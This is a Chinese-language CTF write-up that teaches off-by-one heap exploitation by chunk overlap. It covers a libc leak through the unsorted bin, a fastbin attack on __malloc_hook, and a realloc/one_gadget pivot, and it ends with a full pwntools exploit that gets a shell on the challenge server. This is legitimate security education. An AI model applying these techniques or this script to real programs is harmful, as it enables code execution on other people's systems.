通过这个题目来学习 off-by-one

什么是off by one(null) ?

定义我也不知道,直接说我的理解。就是那种在用户输入时,一个循环处理边界问题或者是数组越界,对我们的输入没有很好的处理,就会导致一个字节的溢出(或者是strcpy处理不当)。

利用off-by-one

有师傅喜欢叫off-by-one 为一个字节的偷渡攻击
给攻击者发挥的攻击空间也只有一个字节,所以利用方式还是有一定限制的
我们最常利用的(或许是)手法是 堆块重叠(chunk extend),跟我之前讲过的“堆块怀孕”本质是一个东西,chunk extend 的利用条件如下:
1,能够进行堆空间的布局(即写入之类的功能)
2,至少能够溢出一个字节
其中第二个条件正好符合off-by-one的情景

利用过程:off-by-one + chunk extend

由于本人水平有限(wtcl orz
所以就举两个例子好了,一个是开启了Full RELRO,一个没开启

got表无防护的利用情景

既然got表无防护,那么我们可以利用这一个字节的溢出来改写got表,看详细的c代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

int main()
{
	void *p,*q1,*r1,*q2,*r2,*got;
	p = malloc(0x18);	//index 0
	q1 = malloc(0x20);	//index 1
	r1 = malloc(0x30);	//index 2

	memset(p+0x18,0x71,0x1);

	free(q1);
	free(r1);
	q2 = malloc(0x60);
	memset(q2+0x30,'A',0x8);

	r2 = malloc(0x30);
	got = malloc(0x30);

	return 0;
}

思路是申请三个chunk,大小分别为0x18,0x20,0x30
第一个chunk用来出发off-by-one 漏洞,第二个chunk用来构筑堆块重叠,第三个chunk用来构筑 fake chunk,我们利用第一个chunk溢出一字节来改写第二个chunk的size位,然后将第三个chunk来包含进去,然后free两次,在malloc一次,拿到big chunk的控制权,通过向big chunk里写入内容,改写free small chunk的fd pointer(此时smaller chunk还是free态),接着malloc两次,我们就能够拿到一个fake chunk,如果fake chunk位于got表附近,那么我们便可以劫持got表项继而拿到shell
接下来我们看具体的调试过程。
malloc拿到三个堆块:

人为构造一个off-by-one来溢出一字节:

free两次,可以看到我们改写后的chunk已经变成了free态:

通过向big chunk里写内容可以改写fd pointer,可以看到2号chunk的pointer已经变成了‘AAAA’……

这个便是劫持got表的流程

got 表不可写:

对于got表项不可写的elf,我们可以借鉴fastbin attack的思路来攻击__malloc_hook函数,将__malloc_hook函数改写成one_gadget,触发malloc拿shell
思路很简单,大体思路和上面一样,然后三号chunk的fd pointer可以写成__malloc_hook+23的位置(字节错位,具体原因不再赘述),然后将__malloc_hook改写即可,注意的是,为了达到fastbin attack的目的,我们3号块的mem大小必须是0x60,因为要把0x7f的fake chunk链接在同一个bin中

题目解析:

逆向过程:

代码量尚可,off-by-one的漏洞还是有一定隐秘性的,具体的逆向分析不再赘述
注意两个点即可:
第一,本程序不存在UAF漏洞,即delete函数中对free的chunk处理的很好,把free态的指针数据都给清空了

第二,就是off-by-one的产生的位置

可以看到,if判断语句是小于号,也就是说当变量等于size+1的时候依然可以可以读入数据,这就是典型的off-by-one漏洞

pwn it !!!

思路分析

这个程序保护全开,所以我们不能攻击got表了,我们只能选择__malloc_hook函数,但是我们要想找到__malloc_hook函数,我们必须泄漏libc,但是程序只允许我们申请fastbin大小的chunk
这个题有一个很巧妙的泄漏libc的方法,就是将两个fastbin合并成一个unsortedbin,利用unsorted bin来泄漏main_arena + 88的位置,然后拿到libc基址。
具体思路是这样的,构造四个chunk:
chunk 0 : size 0x18
chunk 1 : size 0x50
chunk 2 : size 0x60
chunk 3 : size 0x10 (防止与top chunk合并)
我们通过off-by-one将1和2合并,free 1,这个时候1和2合并的chunk已经超过fastbin,进入unsorted bin,我们再malloc(0x50),这个时候unsorted bin就会切割下来0x50,剩下2号chunk留在unsorted bin里面,但是!!我们从始至终都没有free chunk 2,2号指针的控制权仍然在我们手中,所以我们可以打印2号chunk的内容,为什么呢?因为2号chunk在unsorted bin里,其fd 和 bk都是有内容的!!他们都指向了main_arena + 88,通过这一点,我们就能泄漏出libc的基地址
我们拿到基址后,就得想办法fastbin attack,有一种办法就是我们上文说的方法,构造三个fastbin chunk,自然是可以的,但是如果题目限制我们malloc次数,我们还有办法吗?(这个题目虽然限制次数,但是依然申请三次依然在允许的范围之内)
答案是有的,我们可以malloc(0x60),记成chunk 4,然后我们紧接着free 4,这么做的目的就是将这块chunk从unsorted bin中移动到 fastbin中,so 我们再次利用 allocated 态的2号pointer来edit,把fd位改成__malloc_hook - 0x23,然后one_gadget
但是这个题目在gadget的时候我们发现是有问题的,因为四个gadget的寄存器的条件我们均不满足,所以我们得借助__libc_realloc函数来调整寄存器的值,在__libc_realloc函数中会调用__realloc_hook函数,所以我们把one_gadget的位置打到__realloc_hook的位置,把__libc_realloc的地址打到__malloc_hook里面即可,令人兴奋的是,__realloc_hook的位置就在__malloc_hook的上方,这样我们的程序执行流程为,我们malloc--->触发__malloc_hook--->跳转到__libc_realloc调整寄存器--->触发__realloc_hook--->__realloc_hook是我们的one_gadget--->get shell !!!
__malloc_hook = fake_chunk_mem - 0x13
__realloc_hook = fake_chunk_mem - 0x13 - 0x5

漏洞利用

exp:(pwntools版本是python3的版本)

from pwn import *

local = 0

if local == 1:
	sh = process('./vn_pwn_simpleHeap')
else:
	sh = remote('node3.buuoj.cn',28903)

libc = ELF('./libc-2.23.so')
elf = ELF('./vn_pwn_simpleHeap')

def add(size,content):
	sh.recvuntil('choice: ')
	sh.sendline('1')
	sh.sendlineafter('size?',str(size))
	sh.sendafter('content:',content)

def edit(index,content):
	sh.sendlineafter('choice: ','2')
	sh.sendlineafter('idx?',str(index))
	sh.sendafter('content',content)

def show(index):
	sh.sendlineafter('choice: ','3')
	sh.sendlineafter('idx?',str(index))


def delete(index):
	sh.sendlineafter('choice: ','4')
	sh.sendlineafter('idx?',index)

print("============================== 1: by using off-by-one we can do a overlapping chunk ===================== ")

add(0x18,b'A'*0x18)		#index 0    0x18 because we use the next chunk prevsize double using
add(0x50,b'A')		#index 1
add(0x60,b'A')		#index 2
add(0x10,b'A')		#index 3         to protect

edit(0,b'A' * 0x18 + b'\xd1')       # off by one to change the "index 1" chunk's size


print("============================ 2: leak libc by unsortedbin ==================================== ")

delete('1')
add(0x50,'B')
show(2)		#index 2 memorize the unsorted bin's fd pointer and bk pointer but we don't free index 2

main_arena_88 = u64(sh.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
main_arena = main_arena_88 - 88
libc_base = (main_arena - 0x10) - libc.symbols['__malloc_hook']        #libc_base = __malloc_hook - __malloc_hook_offset
print(hex(libc_base))


print("================================ 3: fastbin attack --->  attack __malloc_hook-0x23  ================")

malloc_hook = libc_base + libc.symbols['__malloc_hook']
fake_chunk = malloc_hook - 0x23


print('the next,we use 2 pointers to point a same chunk!!!!!!!!!!!!!!!!!!!!!!!!!!')

add(0x60,b'A' * 16)		#index 4
delete('2')
print('########################## actually , the free pointer "index 2" and the allocated pointer "index 4" point a same chunk ################')                

print("######### we use the allocated pointer to write 'fd pointer' #############")
edit(4,p64(fake_chunk)+b'\n')


one_gadget = libc_base + 0x4526a		#one_gadget

print("################# by gdb ,we find that we can't one_gadget.So we must change the stack(rsp) by __libc_realloc ################")
realloc_hook = libc_base + libc.symbols['__libc_realloc'] + 12
realloc_hook_1 = libc_base + 0x846CC

print("we change the '__malloc_hook' '__libc_realloc'(it will be call realloc_hook!!!) , 'realloc_hook' change to one_gadget !!!!")
print("'realloc_hook' in '__malloc_hook'-0x8 !!!!!!!! ")
payload = b'A' * (0x13 - 0x8) + p64(one_gadget) + p64(realloc_hook) + b'\n'

add(0x60,'A')			#index 2   which fd pointer point   fake chunk
add(0x60,payload)		#index fake chunk

print("==============================  4: one_gadget ===========================")
sh.sendline('1')
sh.sendline('32')
sh.interactive()